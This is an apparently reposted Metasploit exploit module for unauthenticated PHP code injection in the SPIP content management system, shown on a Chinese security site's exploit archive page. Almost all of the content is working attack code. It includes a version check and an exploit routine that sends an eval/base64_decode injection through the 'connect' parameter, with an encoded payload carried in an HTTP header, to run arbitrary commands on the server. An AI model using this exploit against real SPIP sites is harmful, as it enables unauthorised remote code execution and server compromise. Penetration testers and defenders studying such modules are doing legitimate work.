首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
SPIP connect Parameter PHP Injection
来源:metasploit.com 作者:Douhine 发布时间:2013-08-30  
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'SPIP connect Parameter PHP Injection',
      'Description'    => %q{
        This module exploits a PHP code injection in SPIP. The vulnerability exists in the
        connect parameter and allows an unauthenticated user to execute arbitrary commands
        with web user privileges. Branchs 2.0, 2.1 and 3 are concerned. Vulnerable versions
        are <2.0.21, <2.1.16 and < 3.0.3, but this module works only against branch 2.0 and
        has been tested successfully with SPIP 2.0.11 and SPIP 2.0.20 with Apache on Ubuntu
        and Fedora linux distributions.
      },
      'Author'         =>
        [
          'Arnaud Pachot',   #Initial discovery
          'Frederic Cikala', # PoC
          'Davy Douhine'     # PoC and MSF module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'OSVDB', '83543' ],
          [ 'BID', '54292' ],
          [ 'URL', 'http://contrib.spip.net/SPIP-3-0-3-2-1-16-et-2-0-21-a-l-etape-303-epate-la' ]
        ],
      'Privileged'     => false,
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        =>
        [
          [ 'Automatic', { } ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jul 04 2012'))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to SPIP application', '/']),
      ], self.class)
  end

  def check
    version = nil
    uri = normalize_uri(target_uri.path, "spip.php")

    res = send_request_cgi({ 'uri' => "#{uri}" })

    if res and res.code == 200 and res.body =~ /<meta name="generator" content="SPIP (.*) \[/
      version = $1
    end

    if version.nil? and res.code == 200 and res.headers["Composed-By"] =~ /SPIP (.*) @/
      version = $1
    end

    if version.nil?
      return Exploit::CheckCode::Unknown
    end

    vprint_status("SPIP Version detected: #{version}")

    if version =~ /^2\.0/ and version < "2.0.21"
      return Exploit::CheckCode::Vulnerable
    elsif version =~ /^2\.1/ and version < "2.1.16"
      return Exploit::CheckCode::Appears
    elsif version =~ /^3\.0/ and version < "3.0.3"
      return Exploit::CheckCode::Appears
    end

    return Exploit::CheckCode::Safe

  end

  def exploit
    uri = normalize_uri(target_uri.path, 'spip.php')
    print_status("#{rhost}:#{rport} - Attempting to exploit...")
    res = send_request_cgi(
      {
        'uri'    => uri,
        'method' => 'POST',
        'vars_post' => {
          'connect' => "?><? eval(base64_decode($_SERVER[HTTP_CMD])); ?>",
        },
        'headers' => {
          'Cmd' => Rex::Text.encode_base64(payload.encoded)
        }
      })
  end

end
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Microsoft Hotmail or Outlook 0
·OSX <= 10.8.4 - Local Root Pri
·HP LoadRunner lrFileIOService
·IKE and AuthIP IPsec Keyring M
·Firefox XMLSerializer Use Afte
·KingView 6.53 - ActiveX Remote
·SPIP Connect Parameter PHP Inj
·KingView 6.53 - Insecure Activ
·VMWare Setuid vmware-mount Uns
·jetAudio 8.0.16.2000 Plus VX -
·xml2 Fuzzer 1.0 exploit
·GOMPlayer 2.2.53.5169 (.wav) -
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved